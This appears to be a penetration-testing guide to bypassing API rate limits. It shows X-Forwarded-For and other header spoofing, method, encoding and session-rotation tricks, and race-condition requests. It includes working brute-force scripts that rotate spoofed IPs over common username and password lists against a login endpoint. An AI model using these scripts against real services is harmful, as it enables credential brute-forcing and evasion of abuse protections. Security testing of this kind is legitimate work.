API rate limiting bypass

What is API Rate Limiting Bypass?

API rate limiting bypass exploits weaknesses in how APIs implement traffic throttling and request limiting mechanisms. Rate limits are designed to prevent abuse, brute force attacks, and resource exhaustion, but flawed implementations can be circumvented using various techniques including header manipulation, IP rotation, distributed attacks, and logic bypasses.

Vulnerable Scenario Example

Normal rate-limited request:

POST /api/login HTTP/1.1
Host: api.target.com
Content-Type: application/json

{"username": "admin", "password": "wrong1"}

# Response after 5 attempts
HTTP/1.1 429 Too Many Requests
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 300

{"error": "Rate limit exceeded. Try again in 5 minutes."}

Bypass using X-Forwarded-For:

POST /api/login HTTP/1.1
Host: api.target.com
Content-Type: application/json
X-Forwarded-For: 192.168.1.100

{"username": "admin", "password": "wrong6"}

# Rate limit bypassed - treated as different IP
HTTP/1.1 200 OK

Attack Result: The API treats the spoofed IP as a new client, allowing continuation of brute force attacks beyond the intended rate limit.

Common Rate Limiting Bypass Techniques

IP-Based Bypass Methods

Header Manipulation:

# Try different IP forwarding headers
X-Forwarded-For: 10.0.0.1
X-Real-IP: 172.16.0.1
X-Originating-IP: 203.0.113.1
X-Remote-IP: 198.51.100.1
X-Remote-Addr: 192.0.2.1
CF-Connecting-IP: 203.0.113.195
X-Cluster-Client-IP: 198.51.100.178

Multiple Header Values:

# Test with multiple IPs in single header
X-Forwarded-For: 192.168.1.1, 10.0.0.1, 172.16.0.1

# Test with different formats
X-Forwarded-For: 192.168.1.1:8080
X-Forwarded-For: [::1]
X-Forwarded-For: 999.999.999.999

IPv6 Bypass:

# Use IPv6 addresses if rate limiting only checks IPv4
X-Forwarded-For: 2001:db8::1
X-Forwarded-For: ::1
X-Forwarded-For: fe80::1

User-Agent and Header Rotation

User-Agent Rotation:

# Rotate User-Agent strings
curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" https://api.target.com/login
curl -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)" https://api.target.com/login
curl -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" https://api.target.com/login

Custom Headers:

# Add bypass headers
X-Rate-Limit-Bypass: true
X-No-Rate-Limit: 1
X-Rate-Limit-Override: admin
X-Internal-Request: true

HTTP Method Variations

Method Override:

# If rate limiting only applies to POST
GET /api/login?username=admin&password=test HTTP/1.1

# Method override headers
POST /api/login HTTP/1.1
X-HTTP-Method-Override: GET

POST /api/login HTTP/1.1
X-HTTP-Method: PUT

Different HTTP Methods:

PUT /api/login HTTP/1.1
PATCH /api/login HTTP/1.1
HEAD /api/login HTTP/1.1
OPTIONS /api/login HTTP/1.1

Case Sensitivity and Encoding

URL Case Variations:

POST /api/login HTTP/1.1
POST /API/LOGIN HTTP/1.1
POST /Api/Login HTTP/1.1
POST /api/Login HTTP/1.1

URL Encoding:

POST /api/login HTTP/1.1
POST /api%2flogin HTTP/1.1
POST /api%2Flogin HTTP/1.1
POST /%61%70%69/login HTTP/1.1

Double URL Encoding:

POST /%2561%2570%2569/login HTTP/1.1

Advanced Bypass Techniques

Distributed Rate Limit Bypass

Using Burp Intruder:

1. Capture login request in Burp
2. Send to Intruder
3. Set payload positions:
   - Username/password (for brute force)
   - X-Forwarded-For header (for IP rotation)
4. Configure attack type: Pitchfork (to sync payloads)
5. Load IP list and credential list
6. Set delays between requests if needed
7. Start attack monitoring for rate limit responses

Concurrent Requests:

# Multiple simultaneous requests from different "IPs"
for ip in 192.168.1.{1..100}; do
  curl -H "X-Forwarded-For: $ip" \
       -X POST https://api.target.com/login \
       -d "username=admin&password=test$ip" &
done
wait

Session-Based Bypass

Session Rotation:

# Get new session for each attempt
POST /api/login HTTP/1.1
Cookie: sessionid=session1

POST /api/login HTTP/1.1
Cookie: sessionid=session2

POST /api/login HTTP/1.1
# No cookie (new session)

JWT Token Rotation:

# Generate new JWT for each request
for i in {1..100}; do
  # Get new token
  token=$(curl -s -X POST https://api.target.com/anonymous-token | jq -r '.token')
  
  # Use token for rate-limited endpoint
  curl -H "Authorization: Bearer $token" \
       -X POST https://api.target.com/sensitive-action
done

Content-Type Manipulation

Different Content Types:

# Original JSON request
POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "test"}

# Try form-encoded
POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=test

# Try XML
POST /api/login HTTP/1.1
Content-Type: application/xml

<login><username>admin</username><password>test</password></login>

Race Condition Exploitation

Simultaneous Requests:

import threading
import requests

def make_request():
    response = requests.post('https://api.target.com/login', 
                           json={'username': 'admin', 'password': 'test'})
    print(f"Status: {response.status_code}")

# Send multiple requests simultaneously
threads = []
for i in range(50):
    t = threading.Thread(target=make_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Testing Tools and Techniques

Burp Suite Rate Limit Testing

Intruder Configuration:

1. Capture rate-limited request
2. Send to Intruder
3. Configure payloads:
   - Simple list for bypass headers
   - Numbers for IP rotation (192.168.1.§1§)
   - Null payloads for timing tests
4. Set resource pool for concurrent threads
5. Monitor response codes and timing

Custom Burp Extension:

Install extensions for rate limit testing:
- Turbo Intruder: High-speed request sending
- Rate Limit Bypass: Automated bypass testing
- IP Rotate: Automatic IP rotation

Postman Rate Limit Testing

Collection Setup:

1. Create collection for rate limit testing
2. Set environment variables:
   - target_url
   - current_ip (for X-Forwarded-For)
   - request_count
3. Pre-request script for IP rotation:

// Rotate IP for each request
const ips = ['192.168.1.1', '10.0.0.1', '172.16.0.1'];
const randomIP = ips[Math.floor(Math.random() * ips.length)];
pm.request.headers.add({
    key: 'X-Forwarded-For',
    value: randomIP
});

4. Use Collection Runner for automation

Command Line Testing

curl with IP Rotation:

#!/bin/bash
# Rate limit bypass testing script

endpoint="https://api.target.com/login"
usernames=("admin" "administrator" "root" "user")
passwords=("password" "admin" "123456" "password123")

# IP ranges for X-Forwarded-For
generate_ip() {
    echo "192.168.$(($RANDOM % 255)).$(($RANDOM % 255))"
}

# Test rate limit bypass
for username in "${usernames[@]}"; do
    for password in "${passwords[@]}"; do
        ip=$(generate_ip)
        
        response=$(curl -s -w "%{http_code}" \
            -H "X-Forwarded-For: $ip" \
            -H "X-Real-IP: $ip" \
            -X POST "$endpoint" \
            -d "username=$username&password=$password")
        
        echo "IP: $ip, User: $username, Pass: $password, Response: $response"
        
        # Small delay to avoid overwhelming server
        sleep 0.1
    done
done

ffuf for Rate Limit Bypass:

# Test different bypass headers
ffuf -u https://api.target.com/login \
     -X POST \
     -H "Content-Type: application/json" \
     -H "X-Forwarded-For: FUZZ" \
     -d '{"username":"admin","password":"test"}' \
     -w ip_list.txt \
     -mc 200,401 \
     -t 10

# Test with different User-Agents
ffuf -u https://api.target.com/login \
     -X POST \
     -H "User-Agent: FUZZ" \
     -d "username=admin&password=test" \
     -w user_agents.txt

Rate Limit Analysis

Identifying Rate Limit Mechanisms

Response Analysis:

# Look for rate limit indicators
HTTP/1.1 429 Too Many Requests
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1640995200
Retry-After: 300

# Alternative headers
X-Rate-Limit-Requests: 100
X-Rate-Limit-Period: 3600
X-Throttle-Limit: 60

Timing Analysis:

# Test rate limit timing
for i in {1..10}; do
    start_time=$(date +%s.%N)
    curl -s https://api.target.com/endpoint > /dev/null
    end_time=$(date +%s.%N)
    duration=$(echo "$end_time - $start_time" | bc)
    echo "Request $i: ${duration}s"
done

Rate Limit Fingerprinting

Different Endpoint Testing:

# Test if rate limits are per-endpoint or global
endpoints=("/api/login" "/api/users" "/api/profile" "/api/search")

for endpoint in "${endpoints[@]}"; do
    echo "Testing $endpoint"
    for i in {1..20}; do
        response=$(curl -s -w "%{http_code}" "https://api.target.com$endpoint")
        echo "Request $i: $response"
        
        if [[ "$response" == "429" ]]; then
            echo "Rate limit hit at request $i for $endpoint"
            break
        fi
    done
    echo "---"
done

Business Logic Rate Limit Bypass

Time-Based Bypass

Timezone Manipulation:

# Test if rate limits reset based on different timezones
POST /api/endpoint HTTP/1.1
Date: Wed, 21 Oct 2015 07:28:00 GMT

POST /api/endpoint HTTP/1.1
Date: Wed, 21 Oct 2015 07:28:00 PST

Clock Skew:

# Send requests with future timestamps
POST /api/endpoint HTTP/1.1
Date: Wed, 21 Oct 2025 07:28:00 GMT

Resource-Based Bypass

Different Resource Requests:

# If rate limit is per-resource, not per-user
GET /api/users/1 HTTP/1.1
GET /api/users/2 HTTP/1.1
GET /api/users/3 HTTP/1.1
# Each different user ID might reset the counter

Parameter Variation:

# Test if parameters affect rate limiting
POST /api/search HTTP/1.1
{"query": "test1"}

POST /api/search HTTP/1.1
{"query": "test2"}

POST /api/search HTTP/1.1
{"query": "test3", "filter": "new"}

Checklist

Basic Tests:

• Test requests without any bypass techniques (baseline)

• Try different X-Forwarded-For IP addresses

• Test with various User-Agent strings

• Attempt different HTTP methods

• Test URL encoding and case variations

Advanced Tests:

• Concurrent request testing (race conditions)

• Session/token rotation bypass

• Content-Type manipulation

• Custom header injection

• Distributed attack simulation

Analysis:

• Document rate limit thresholds and reset times

• Identify which bypass techniques work

• Test rate limits across different endpoints

• Check for global vs. per-endpoint limits

• Verify rate limit consistency